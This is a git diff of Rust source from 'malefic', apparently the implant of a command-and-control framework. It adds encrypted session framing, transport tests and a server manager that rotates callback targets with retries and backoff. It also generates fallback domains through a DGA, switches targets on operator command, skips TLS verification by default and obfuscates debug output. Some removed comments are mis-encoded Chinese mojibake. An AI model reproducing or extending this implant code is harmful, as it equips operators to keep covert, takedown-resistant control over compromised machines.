mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + const N: u32 = 50; + + // Spawn a task for the server to send N messages to the client + let server_send_handle = tokio::spawn(async move { + for i in 0..N { + server + .send(make_spites(1000 + i, &format!("s2c_{}", i))) + .await + .unwrap(); + } + // Also collect N messages from the client + let mut received = Vec::new(); + for _ in 0..N { + let r = server.receive().await.unwrap().unwrap(); + received.push(r.spites[0].task_id); + } + received + }); + + // Client sends N messages to the server + for i in 0..N { + client + .send(make_spites(2000 + i, &format!("c2s_{}", i))) + .await + .unwrap(); + } + + // Client receives N messages from the server via try_receive + let mut client_received = Vec::new(); + let deadline = tokio::time::Instant::now() + Duration::from_secs(10); + while (client_received.len() as u32) < N { + assert!( + tokio::time::Instant::now() < deadline, + "timed out waiting for client messages" + ); + match client.try_receive() { + Ok(Some(r)) => client_received.push(r.spites[0].task_id), + Ok(None) => tokio::time::sleep(Duration::from_millis(1)).await, + Err(e) => panic!("try_receive error: {:?}", e), + } + } + + let server_received = tokio::time::timeout(Duration::from_secs(10), server_send_handle) + .await + .expect("server task timed out") + .expect("server task panicked"); + + // Verify all 50 arrived on each side + assert_eq!(client_received.len(), N as usize); + assert_eq!(server_received.len(), N as usize); + + // All expected task_ids present (order preserved per TCP) + for i in 0..N { + assert_eq!(client_received[i as usize], 1000 + i); + assert_eq!(server_received[i as usize], 2000 + i); + } + } + + /// Duplex error on server disconnect: client detects EOF. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_error_on_server_disconnect() { + let (mut client, server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // Drop the server to close the connection + drop(server); + + // Poll try_receive — should eventually return Err (read loop detects EOF) + let deadline = tokio::time::Instant::now() + Duration::from_secs(5); + loop { + assert!( + tokio::time::Instant::now() < deadline, + "timed out: client never detected server disconnect" + ); + match client.try_receive() { + Err(_) => break, // Expected: connection closed / read error + Ok(None) => tokio::time::sleep(Duration::from_millis(10)).await, + Ok(Some(_)) => panic!("should not receive data from dropped server"), + } + } + } + + /// Downgrade completes within a reasonable time (session deadline is 500ms). + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_downgrade_completes_within_timeout() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + let start = tokio::time::Instant::now(); + client.downgrade().await.unwrap(); + let elapsed = start.elapsed(); + + // Downgrade waits for the read task to stop. With 500ms read timeout, + // worst case is one read timeout cycle before stop_signal is checked. + assert!( + elapsed < Duration::from_secs(2), + "downgrade took {:?}, expected < 2s", + elapsed + ); + + // Verify heartbeat mode works after downgrade + client.send(make_spites(1, "post_downgrade")).await.unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "post_downgrade"); + + server.send(make_spites(2, "reply")).await.unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "reply"); + } + + /// Heartbeat large payload: 64KB message tests chunked read path. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_large_payload() { + let (mut client, mut server) = create_runner_pair().await; + + // Send 64KB payload (read_chunk_size=8192, so ~8 chunks) + let large_msg = make_sized_spites(1, 65536); + client.send(large_msg).await.unwrap(); + + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, 1); + assert_eq!(r.spites[0].name.len(), 65536); + + // Server sends 64KB back + let large_reply = make_sized_spites(2, 65536); + server.send(large_reply).await.unwrap(); + + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, 2); + assert_eq!(r.spites[0].name.len(), 65536); + } + + /// Multiple upgrade/downgrade cycles: 5 full cycles with data exchange. + /// Verifies crypto counters stay in sync throughout. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_multiple_upgrade_downgrade_cycles() { + let (mut client, mut server) = create_runner_pair().await; + + for cycle in 0u32..5 { + let base = cycle * 100; + + // Upgrade to duplex + client.upgrade().unwrap(); + + // Server sends, client receives via try_receive + server + .send(make_spites(base + 1, &format!("dup_s2c_{}", cycle))) + .await + .unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .expect("expected message from server in duplex"); + assert_eq!(r.spites[0].task_id, base + 1); + + // Client sends, server receives + client + .send(make_spites(base + 2, &format!("dup_c2s_{}", cycle))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 2); + + // Downgrade to heartbeat + client.downgrade().await.unwrap(); + + // Client sends in heartbeat, server receives + client + .send(make_spites(base + 3, &format!("hb_c2s_{}", cycle))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 3); + + // Server sends in heartbeat, client receives + server + .send(make_spites(base + 4, &format!("hb_s2c_{}", cycle))) + .await + .unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, base + 4); + } + } +} diff --git a/malefic-crates/transport/src/server_manager.rs b/malefic-crates/transport/src/server_manager.rs new file mode 100644 index 0000000..ceab082 --- /dev/null +++ b/malefic-crates/transport/src/server_manager.rs @@ -0,0 +1,466 @@ +use malefic_common::debug; +use malefic_config::{ + HttpRequestConfig, ProtocolType, ProxyConfig, RemConfig, ServerConfig, TcpConfig, TlsConfig, + TransportConfig, +}; +use malefic_gateway::ObfDebug; +use malefic_proto::proto::modulepb; + +#[derive(ObfDebug, Clone)] +pub struct Target { + config: ServerConfig, + failures: u32, +} + +impl Target { + pub fn new(config: ServerConfig) -> Self { + Self { + config, + failures: 0, + } + } + + pub fn from_proto(target: &modulepb::Target) -> Option { + if target.address.is_empty() { + return None; + } + + let tls_config = Some(match target.tls_config.as_ref() { + Some(tls) => TlsConfig { + enable: tls.enable, + version: tls.version.clone(), + sni: tls.sni.clone(), + skip_verification: tls.skip_verify, + server_ca: Vec::new(), + mtls_config: None, + }, + None => TlsConfig { + enable: false, + version: String::new(), + sni: String::new(), + skip_verification: true, + server_ca: Vec::new(), + mtls_config: None, + }, + }); + + let proxy_config = target.proxy_config.as_ref().and_then(|proxy| { + (!proxy.host.is_empty()).then(|| ProxyConfig { + proxy_type: proxy.r#type.clone(), + host: proxy.host.clone(), + port: proxy.port as u16, + username: proxy.username.clone(), + password: proxy.password.clone(), + }) + }); + + let domain_suffix = + (!target.domain_suffix.is_empty()).then(|| target.domain_suffix.clone()); + let protocol_name = target.protocol.trim().to_ascii_lowercase(); + + match protocol_name.as_str() { + "" | "tcp" => { + let transport_config = TransportConfig::Tcp(TcpConfig {}); + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::Tcp, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + "http" => { + let http_config = target + .http_config + .as_ref() + .map(|http| { + let mut config = HttpRequestConfig::new( + &non_empty_or(&http.method, "POST"), + &non_empty_or(&http.path, "/"), + &non_empty_or(&http.version, "1.1"), + ); + config.headers = http.headers.clone(); + config + }) + .unwrap_or_else(|| HttpRequestConfig::new("POST", "/", "1.1")); + let transport_config = TransportConfig::Http(http_config); + + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::Http, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + "rem" => { + let link = target + .rem_config + .as_ref() + .map(|r| r.link.clone()) + .unwrap_or_default(); + let transport_config = TransportConfig::Rem(RemConfig::new(link)); + + Some(Self::new(ServerConfig { + address: target.address.clone(), + protocol: ProtocolType::REM, + session_config: malefic_config::SessionConfig::default_for_transport( + &transport_config, + *malefic_config::KEEPALIVE, + ), + transport_config, + tls_config, + proxy_config, + domain_suffix, + })) + } + other => { + debug!("[target] Ignoring unsupported target protocol: {}", other); + None + } + } + } + + pub fn server_config(&self) -> &ServerConfig { + &self.config + } + + pub fn address(&self) -> &str { + &self.config.address + } +} + +#[derive(ObfDebug)] +pub struct ServerManager { + targets: Vec, + current: usize, + per_target_failures: u32, + max_cycles: i32, + cycles: u32, + #[cfg(feature = "dga")] + dga_generator: Option, +} + +/// Return `s` as owned String if non-empty, otherwise `default`. +fn non_empty_or(s: &str, default: &str) -> String { + if s.is_empty() { + default.to_string() + } else { + s.to_string() + } +} + +fn same_target(lhs: &Target, rhs: &Target) -> bool { + lhs.server_config() == rhs.server_config() +} + +fn deduplicate_targets(targets: impl IntoIterator) -> Vec { + let mut unique = Vec::new(); + for target in targets { + if unique.iter().any(|existing| same_target(existing, &target)) { + continue; + } + unique.push(target); + } + unique +} + +fn make_targets(configs: Vec) -> Vec { + deduplicate_targets(configs.into_iter().map(Target::new)) +} + +impl ServerManager { + pub fn new(configs: Vec) -> Self { + use malefic_config::{MAX_CYCLES, RETRY}; + + let per_target_failures = *RETRY; + let max_cycles = *MAX_CYCLES; + + #[cfg(feature = "dga")] + let dga_generator = { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = configs + .iter() + .filter(|c| c.supports_dga()) + .cloned() + .collect(); + + if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to create DGA generator: {:?}", _e); + None + } + } + } else { + None + } + } else { + None + } + }; + + Self { + targets: make_targets(configs), + current: 0, + per_target_failures, + max_cycles, + cycles: 0, + #[cfg(feature = "dga")] + dga_generator, + } + } + + pub fn current(&self) -> Option<&Target> { + self.targets.get(self.current) + } + + pub fn mark_success(&mut self) { + if let Some(target) = self.targets.get_mut(self.current) { + target.failures = 0; + debug!("[target] {} success", target.address()); + } + self.cycles = 0; + } + + /// Returns backoff duration in seconds based on completed cycles. + /// cycle 0: no backoff, cycle 1: 300s, cycle 2: 600s, ..., capped at 12 hours. + pub fn backoff_secs(&self) -> Option { + if self.cycles == 0 { + return None; + } + const BASE_SECS: u64 = 300; + const MAX_SECS: u64 = 43200; + let shift = (self.cycles - 1).min(31); + let secs = BASE_SECS.saturating_mul(1u64 << shift); + Some(secs.min(MAX_SECS)) + } + + pub fn mark_failure(&mut self) -> bool { + if let Some(target) = self.targets.get_mut(self.current) { + target.failures += 1; + debug!( + "[target] {} failure {}/{}", + target.address(), + target.failures, + self.per_target_failures + ); + if target.failures >= self.per_target_failures { + return self.next(); + } + } + true + } + + /// Replace the entire target list (for switch REPLACE action). + /// Resets rotation state and rebuilds DGA generator if applicable. + /// Does nothing if configs is empty. + pub fn replace_targets(&mut self, configs: Vec) { + let targets = make_targets(configs.clone()); + if targets.is_empty() { + return; + } + + #[cfg(feature = "dga")] + { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = configs + .iter() + .filter(|c| c.supports_dga()) + .cloned() + .collect(); + + self.dga_generator = if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to recreate DGA generator: {:?}", _e); + None + } + } + } else { + None + }; + } + } + + self.targets = targets; + self.current = 0; + self.cycles = 0; + } + + pub fn replace_target_entries(&mut self, targets: Vec) { + let targets = deduplicate_targets(targets); + if targets.is_empty() { + return; + } + + #[cfg(feature = "dga")] + { + use malefic_config::DGA_ENABLE; + if *DGA_ENABLE { + let dga_configs: Vec = targets + .iter() + .map(|target| target.server_config().clone()) + .filter(|config| config.supports_dga()) + .collect(); + + self.dga_generator = if !dga_configs.is_empty() { + match malefic_dga::DgaGenerator::from_server_configs(dga_configs) { + Ok(gen) => Some(gen), + Err(_e) => { + debug!("[target] Failed to recreate DGA generator: {:?}", _e); + None + } + } + } else { + None + }; + } + } + + self.targets = targets; + self.current = 0; + self.cycles = 0; + } + + /// Append targets to the existing list (for switch ADD action). + /// Deduplicates by full target config. Does not change current pointer. + pub fn add_targets(&mut self, configs: Vec) { + self.add_target_entries(make_targets(configs)); + } + + pub fn add_target_entries(&mut self, targets: Vec) { + for target in deduplicate_targets(targets) { + if self + .targets + .iter() + .any(|existing| same_target(existing, &target)) + { + continue; + } + debug!("[target] Added target: {}", target.address()); + self.targets.push(target); + } + } + + /// Switch the current active target to the given config. + /// If the same full target config exists in the list, moves current pointer to it. + /// If not, appends it and sets it as current. + pub fn switch_to(&mut self, config: ServerConfig) { + self.switch_to_target(Target::new(config)); + } + + pub fn switch_to_target(&mut self, target: Target) { + if let Some(idx) = self + .targets + .iter() + .position(|existing| same_target(existing, &target)) + { + self.current = idx; + self.targets[idx].failures = 0; + debug!( + "[target] Switched to existing target: {}", + self.targets[idx].address() + ); + } else { + debug!("[target] Switched to new target: {}", target.address()); + self.targets.push(target); + self.current = self.targets.len() - 1; + } + } + + pub fn new_with_params(configs: Vec, retry: u32, max_cycles: i32) -> Self { + Self { + targets: make_targets(configs), + current: 0, + per_target_failures: retry, + max_cycles, + cycles: 0, + #[cfg(feature = "dga")] + dga_generator: None, + } + } + + fn next(&mut self) -> bool { + let total = self.targets.len(); + if total == 0 { + return false; + } + + let next_index = (self.current + 1) % total; + + if next_index <= self.current { + self.cycles += 1; + debug!( + "[target] Completed cycle {}/{}", + self.cycles, + if self.max_cycles == -1 { + "∞".to_string() + } else { + self.max_cycles.to_string() + } + ); + + if self.max_cycles >= 0 && self.cycles >= self.max_cycles as u32 { + debug!("[target] Max cycles reached, stopping"); + return false; + } + + #[cfg(feature = "dga")] + if let Some(ref generator) = self.dga_generator { + for config in generator.generate_new_server() { + let target = Target::new(config); + if self + .targets + .iter() + .any(|existing| same_target(existing, &target)) + { + continue; + } + debug!("[target] Added DGA target: {}", target.address()); + self.targets.push(target); + } + } + + for target in &mut self.targets { + target.failures = 0; + } + } + + self.current = next_index; + debug!( + "[target] Switched to {}", + self.targets + .get(self.current) + .map(|target| target.address()) + .unwrap_or("unknown") + ); + true + } + + pub fn targets_from_proto(targets: &[modulepb::Target]) -> Vec { + deduplicate_targets(targets.iter().filter_map(Target::from_proto)) + } + + /// Convert proto `Target` messages to `ServerConfig` for transport-independent callers. + pub fn targets_to_server_configs(targets: &[modulepb::Target]) -> Vec { + Self::targets_from_proto(targets) + .into_iter() + .map(|target| target.config) + .collect() + } +} diff --git a/malefic-crates/transport/src/session.rs b/malefic-crates/transport/src/session.rs new file mode 100644 index 0000000..627bb00 --- /dev/null +++ b/malefic-crates/transport/src/session.rs @@ -0,0 +1,196 @@ +use std::pin::Pin; +use std::time::Duration; + +use futures::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}; +use futures::pin_mut; +use futures::FutureExt; +use futures_timer::Delay; + +use malefic_crypto::crypto::Cryptor; +use malefic_proto::{parser_header, SpiteData, HEADER_LEN}; + +use crate::{TransportError, TransportImpl}; +use malefic_gateway::ObfDebug; + +/// Session-layer configuration. +/// +/// `deadline` is used as the idle timeout for frame assembly when the +/// caller opts into deadline-aware reads. Progress resets the timer. +#[derive(Clone, ObfDebug)] +pub struct SessionConfig { + /// Max bytes per read call when reading large frame bodies. + pub read_chunk_size: usize, + /// Idle deadline used by deadline-aware reads. + pub deadline: Duration, +} + +impl Default for SessionConfig { + fn default() -> Self { + Self { + read_chunk_size: 8192, + deadline: Duration::from_secs(10), + } + } +} + +pub struct Session { + transport: T, + cryptor: Cryptor, + config: SessionConfig, +} + +impl Session { + pub fn new(transport: T, cryptor: Cryptor, config: SessionConfig) -> Self { + Self { + transport, + cryptor, + config, + } + } + + pub async fn read(&mut self) -> Result, TransportError> { + read(&mut self.transport, &mut self.cryptor, &self.config).await + } + + pub async fn write(&mut self, data: &SpiteData) -> Result<(), TransportError> { + let encrypted_header = self.cryptor.encrypt(data.header())?; + let encrypted_body = self.cryptor.encrypt(data.body())?; + self.transport.write_all(&encrypted_header).await?; + self.transport.write_all(&encrypted_body).await?; + self.transport.flush().await?; + Ok(()) + } + + pub fn split(self) -> (SessionReader, SessionWriter) { + let (reader, writer) = self.transport.split(); + let reader_cryptor = self.cryptor.clone(); + let writer_cryptor = self.cryptor; + + ( + SessionReader { + reader: Box::pin(reader), + cryptor: reader_cryptor, + config: self.config.clone(), + }, + SessionWriter { + writer: Box::pin(writer), + cryptor: writer_cryptor, + }, + ) + } + + pub fn reset_cryptor(&mut self) { + self.cryptor.reset(); + } + + #[allow(dead_code)] + pub fn get_mut(&mut self) -> &mut T { + &mut self.transport + } +} + +pub struct SessionReader { + reader: Pin>, + cryptor: Cryptor, + config: SessionConfig, +} + +impl SessionReader { + pub async fn read(&mut self) -> Result, TransportError> { + read(&mut self.reader, &mut self.cryptor, &self.config).await + } +} + +pub struct SessionWriter { + writer: Pin>, + cryptor: Cryptor, +} + +impl SessionWriter { + pub async fn write(&mut self, data: &SpiteData) -> Result<(), TransportError> { + let encrypted_header = self.cryptor.encrypt(data.header())?; + let encrypted_body = self.cryptor.encrypt(data.body())?; + self.writer.write_all(&encrypted_header).await?; + self.writer.write_all(&encrypted_body).await?; + self.writer.flush().await?; + Ok(()) + } + + pub async fn close(&mut self) -> Result<(), TransportError> { + self.writer.close().await?; + Ok(()) + } +} + +async fn read( + reader: &mut R, + cryptor: &mut Cryptor, + config: &SessionConfig, +) -> Result, TransportError> { + let Some(encrypted_header) = read_bytes( + reader, + HEADER_LEN, + config.read_chunk_size, + config.deadline, + true, + ) + .await? + else { + return Ok(None); + }; + + let header = cryptor.decrypt(encrypted_header)?; + let mut spite_data = parser_header(&header)?; + + let body_len = spite_data.length as usize + 1; + let encrypted_body = read_bytes( + reader, + body_len, + config.read_chunk_size, + config.deadline, + false, + ) + .await? + .ok_or(TransportError::Deadline)?; + let decrypted_body = cryptor.decrypt(encrypted_body)?; + spite_data.set_data(decrypted_body)?; + Ok(Some(spite_data)) +} + +async fn read_bytes( + reader: &mut R, + target_len: usize, + read_chunk_size: usize, + deadline: Duration, + idle_if_empty: bool, +) -> Result>, TransportError> { + let mut dst = Vec::with_capacity(target_len); + + while dst.len() < target_len { + let remaining = target_len - dst.len(); + let chunk_len = remaining.min(read_chunk_size.max(1)); + let mut chunk = vec![0u8; chunk_len]; + + let read = reader.read(&mut chunk).fuse(); + let timeout = Delay::new(deadline).fuse(); + pin_mut!(read, timeout); + + let n = futures::select! { + result = read => result?, + _ = timeout => { + if idle_if_empty && dst.is_empty() { + return Ok(None); + } + return Err(TransportError::Deadline); + } + }; + + if n == 0 { + return Err(TransportError::UnexpectedEof); + } + + dst.extend_from_slice(&chunk[..n]); + } + + Ok(Some(dst)) +} diff --git a/malefic-core/src/transport/tcp/mod.rs b/malefic-crates/transport/src/tcp/mod.rs similarity index 60% rename from malefic-core/src/transport/tcp/mod.rs rename to malefic-crates/transport/src/tcp/mod.rs index 8828847..c4a13f5 100644 --- a/malefic-core/src/transport/tcp/mod.rs +++ b/malefic-crates/transport/src/tcp/mod.rs @@ -1,73 +1,108 @@ -#[cfg(feature = "tls")] +#[cfg(feature = "tls_rustls")] pub mod tls; +#[cfg(feature = "tls_native")] +pub mod native_tls; + #[cfg(feature = "proxy")] -use crate::config::{USE_ENV_PROXY, PROXY_URL, PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_USERNAME}; -#[cfg(feature = "proxy")] -use crate::transport::proxie::{Auth, AsyncProxy, HTTPProxy, SOCKS5Proxy}; -#[cfg(feature = "proxy")] -use url::Url; -#[cfg(feature = "proxy")] -use std::env; -use crate::transport::{DialerExt, TransportImpl, Stream, TransportError}; +use crate::proxie::{AsyncProxy, Auth, HTTPProxy, SOCKS5Proxy}; +use crate::{DialerExt, TransportImpl}; use anyhow::Result; use async_net::TcpStream; use async_trait::async_trait; use futures::{AsyncRead, AsyncWrite}; +use malefic_common::debug; +#[cfg(feature = "proxy")] +use malefic_config::{ + PROXY_HOST, PROXY_PASSWORD, PROXY_PORT, PROXY_URL, PROXY_USERNAME, USE_ENV_PROXY, +}; +#[cfg(feature = "proxy")] +use std::env; use std::pin::Pin; use std::task::{Context, Poll}; -use malefic_helper::debug; -use malefic_proto::crypto::Cryptor; +#[cfg(feature = "proxy")] +use url::Url; -#[cfg(feature = "tls")] +#[cfg(feature = "tls_rustls")] pub use tls::TlsConfig; -#[cfg(feature = "tls")] -use async_tls::{client::TlsStream}; pub enum TCPTransport { Plain(T), - #[cfg(feature = "tls")] - Tls(TlsStream), - + #[cfg(feature = "tls_rustls")] + RustlsTls(futures_rustls::client::TlsStream), + #[cfg(feature = "tls_native")] + NativeTls(async_native_tls::TlsStream), } impl TCPTransport { - /// 创建普通传输(ä¸ä½¿ç”¨TLS) pub fn new_plain(stream: T) -> Self { TCPTransport::Plain(stream) } } impl TCPTransport { - /// 创建TCP传输,根æ®feature自动决定是å¦ä½¿ç”¨TLS - pub async fn new(stream: TcpStream, config: ServerConfig) -> Result { - #[cfg(feature = "tls")] - { - let tls_config = tls::build_tls_config(config); - Self::new_with_tls(stream, tls_config).await + pub async fn new(stream: TcpStream, _config: malefic_config::ServerConfig) -> Result { + // Determine TLS intent from runtime config: + // - None → plain TCP (no TLS config provided) + // - Some(enable=true) → use TLS + // - Some(enable=false) → plain TCP (e.g. switch targets without TLS) + let tls_enabled = _config.tls_config.as_ref().map_or(false, |t| t.enable); + + if !tls_enabled { + return Ok(TCPTransport::Plain(stream)); } - #[cfg(not(feature = "tls"))] - { - Ok(TCPTransport::Plain(stream)) + + cfg_if::cfg_if! { + if #[cfg(feature = "tls_rustls")] { + let tls_config = tls::build_tls_config(_config); + Self::new_with_rustls(stream, tls_config).await + } else if #[cfg(feature = "tls_native")] { + let ntls_config = native_tls::build_native_tls_config(_config); + Self::new_with_native_tls(stream, ntls_config).await + } else { + Ok(TCPTransport::Plain(stream)) + } } } - /// 使用指定TLSé…置创建TLS传输 - #[cfg(feature = "tls")] - pub async fn new_with_tls(stream: TcpStream, config: TlsConfig) -> Result { + #[cfg(feature = "tls_rustls")] + pub async fn new_with_rustls(stream: TcpStream, config: TlsConfig) -> Result { let server_name = if config.server_name.is_empty() { "localhost".to_string() } else { config.server_name.clone() }; + debug!("[tls] Connecting to {} with rustls", server_name); + let connector = tls::TlsConnectorBuilder::new(config).build()?; + let sni = rustls::pki_types::ServerName::try_from(server_name.as_str()) + .map_err(|e| anyhow::anyhow!("Invalid server name: {}", e))? + .to_owned(); + let tls_stream = connector.connect(sni, stream).await?; + debug!("[tls] TLS handshake completed successfully"); + Ok(TCPTransport::RustlsTls(tls_stream)) + } - debug!("[tls] Connecting to {} with TLS", server_name); + /// Backward-compatible alias + #[cfg(feature = "tls_rustls")] + pub async fn new_with_tls(stream: TcpStream, config: TlsConfig) -> Result { + Self::new_with_rustls(stream, config).await + } - let connector = tls::TlsConnectorBuilder::new(config).build()?; + #[cfg(feature = "tls_native")] + pub async fn new_with_native_tls( + stream: TcpStream, + config: native_tls::NativeTlsConfig, + ) -> Result { + let server_name = if config.server_name.is_empty() { + "localhost".to_string() + } else { + config.server_name.clone() + }; + debug!("[tls] Connecting to {} with native-tls", server_name); + let connector = native_tls::NativeTlsConnectorBuilder::new(config).build()?; let tls_stream = connector.connect(&server_name, stream).await?; - - debug!("[tls] TLS handshake completed successfully"); - Ok(TCPTransport::Tls(tls_stream)) + debug!("[tls] Native TLS handshake completed successfully"); + Ok(TCPTransport::NativeTls(tls_stream)) } } @@ -79,8 +114,10 @@ impl AsyncRead for TCPTransport { ) -> Poll> { match &mut *self { TCPTransport::Plain(stream) => Pin::new(stream).poll_read(cx, buf), - #[cfg(feature = "tls")] - TCPTransport::Tls(tls_stream) => Pin::new(tls_stream).poll_read(cx, buf), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_read(cx, buf), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_read(cx, buf), } } } @@ -93,8 +130,10 @@ impl AsyncWrite for TCPTransport { ) -> Poll> { match &mut *self { TCPTransport::Plain(stream) => Pin::new(stream).poll_write(cx, buf), - #[cfg(feature = "tls")] - TCPTransport::Tls(tls_stream) => Pin::new(tls_stream).poll_write(cx, buf), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_write(cx, buf), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_write(cx, buf), } } @@ -104,8 +143,10 @@ impl AsyncWrite for TCPTransport { ) -> Poll> { match &mut *self { TCPTransport::Plain(stream) => Pin::new(stream).poll_flush(cx), - #[cfg(feature = "tls")] - TCPTransport::Tls(tls_stream) => Pin::new(tls_stream).poll_flush(cx), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_flush(cx), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_flush(cx), } } @@ -115,43 +156,42 @@ impl AsyncWrite for TCPTransport { ) -> Poll> { match &mut *self { TCPTransport::Plain(stream) => Pin::new(stream).poll_close(cx), - #[cfg(feature = "tls")] - TCPTransport::Tls(tls_stream) => Pin::new(tls_stream).poll_close(cx), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_close(cx), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_close(cx), } } } #[derive(Clone)] -pub struct TCPClient { - pub stream: Stream, -} +pub struct TCPClient; impl TCPClient { - pub fn new(cryptor: Cryptor) -> Result { - Ok(TCPClient { - stream: Stream { cryptor }, - }) + pub fn new() -> Result { + Ok(TCPClient) + } + + pub fn new_with_alias(_alias: Option<&str>) -> Result { + Self::new() } } #[async_trait] impl DialerExt for TCPClient { - async fn connect(&mut self, config: &ServerConfig) -> Result> { - debug!("using proxy??????????????"); - #[cfg(feature = "socks5_proxy")]{ - debug!("Using proxy", proxy.server); - } + async fn connect( + &mut self, + target: &crate::server_manager::Target, + ) -> Result> { + let config = target.server_config(); let tcp_stream = new_steam(config).await?; TCPTransport::new(tcp_stream, config.clone()).await } } -pub async fn new_steam(config: &ServerConfig) -> Result{ +pub async fn new_steam(config: &malefic_config::ServerConfig) -> Result { #[cfg(feature = "proxy")] { - // 三层代ç†é€»è¾‘ - - // 第一层:如果é…置了具体的代ç†URL,强制使用 if !PROXY_URL.is_empty() { debug!("[tcp] Using configured proxy URL: {}", *PROXY_URL); if let Some(stream) = try_proxy_url(&PROXY_URL, &config.address).await { @@ -159,8 +199,7 @@ pub async fn new_steam(config: &ServerConfig) -> Result{ } debug!("[tcp] Configured proxy failed, falling back"); } - - // 第二层:如果å¯ç”¨äº†çŽ¯å¢ƒå˜é‡ä»£ç†ä¸”没有é…ç½®URL,检查环境å˜é‡ + if *USE_ENV_PROXY && PROXY_URL.is_empty() { debug!("[tcp] Checking environment variables for proxy"); if let Some(stream) = try_env_proxy(&config.address).await { @@ -168,8 +207,7 @@ pub async fn new_steam(config: &ServerConfig) -> Result{ } debug!("[tcp] Environment proxy not found or failed, falling back"); } - - // 第三层:使用编译时é…置的代ç†ï¼ˆå‘åŽå…¼å®¹ï¼‰ + if !PROXY_HOST.is_empty() && *PROXY_PORT != "0" { debug!("[tcp] Using compile-time proxy configuration"); if let Some(stream) = try_compile_time_proxy(&config.address).await { @@ -178,17 +216,13 @@ pub async fn new_steam(config: &ServerConfig) -> Result{ debug!("[tcp] Compile-time proxy failed, falling back to direct connection"); } } - - // 直接连接 + debug!("[tcp] Connecting directly to {}", config.address); - // TcpStream::connect(config.address.as_str()).await.map_err(|e| anyhow::anyhow!("TCP connect error: {}", e)) - TcpStream::connect(config.address.as_str()).await.map_err(|e| { - let transport_err = TransportError::from_io_error(&e); - anyhow::anyhow!(transport_err) - }) + TcpStream::connect(config.address.as_str()) + .await + .map_err(|e| anyhow::anyhow!("TCP connect error: {}", e)) } -/// å°è¯•使用指定的代ç†URL #[cfg(feature = "proxy")] async fn try_proxy_url(proxy_url: &str, target: &str) -> Option { if let Ok(url) = Url::parse(proxy_url) { @@ -198,13 +232,11 @@ async fn try_proxy_url(proxy_url: &str, target: &str) -> Option { "socks5" | "socks" => 1080, _ => 8080, }); - let auth = if !url.username().is_empty() { Auth::new(url.username(), url.password().unwrap_or("")) } else { None }; - match url.scheme() { "http" | "https" => { let proxy = HTTPProxy::new(&host, port, auth); @@ -225,20 +257,18 @@ async fn try_proxy_url(proxy_url: &str, target: &str) -> Option { } } -/// å°è¯•使用环境å˜é‡ä»£ç† #[cfg(feature = "proxy")] async fn try_env_proxy(target: &str) -> Option { - // 检查 NO_PROXY 环境å˜é‡ if should_skip_proxy(target) { return None; } - - // 检查标准代ç†çŽ¯å¢ƒå˜é‡ let proxy_vars = ["HTTPS_PROXY", "HTTP_PROXY", "SOCKS_PROXY"]; - for var_name in &proxy_vars { if let Ok(proxy_url_str) = env::var(var_name) { - debug!("[tcp] Found {} environment variable: {}", var_name, proxy_url_str); + debug!( + "[tcp] Found {} environment variable: {}", + var_name, proxy_url_str + ); if let Some(stream) = try_proxy_url(&proxy_url_str, target).await { return Some(stream); } @@ -247,7 +277,6 @@ async fn try_env_proxy(target: &str) -> Option { None } -/// å°è¯•使用编译时代ç†é…ç½® #[cfg(feature = "proxy")] async fn try_compile_time_proxy(target: &str) -> Option { if let Ok(port) = PROXY_PORT.parse::() { @@ -256,8 +285,6 @@ async fn try_compile_time_proxy(target: &str) -> Option { } else { None }; - - // 默认使用HTTP代ç†ï¼ˆå‘åŽå…¼å®¹ï¼‰ let proxy = HTTPProxy::new(&PROXY_HOST, port, auth); proxy.connect(target).await.ok().map(|s| s.into_tcpstream()) } else { @@ 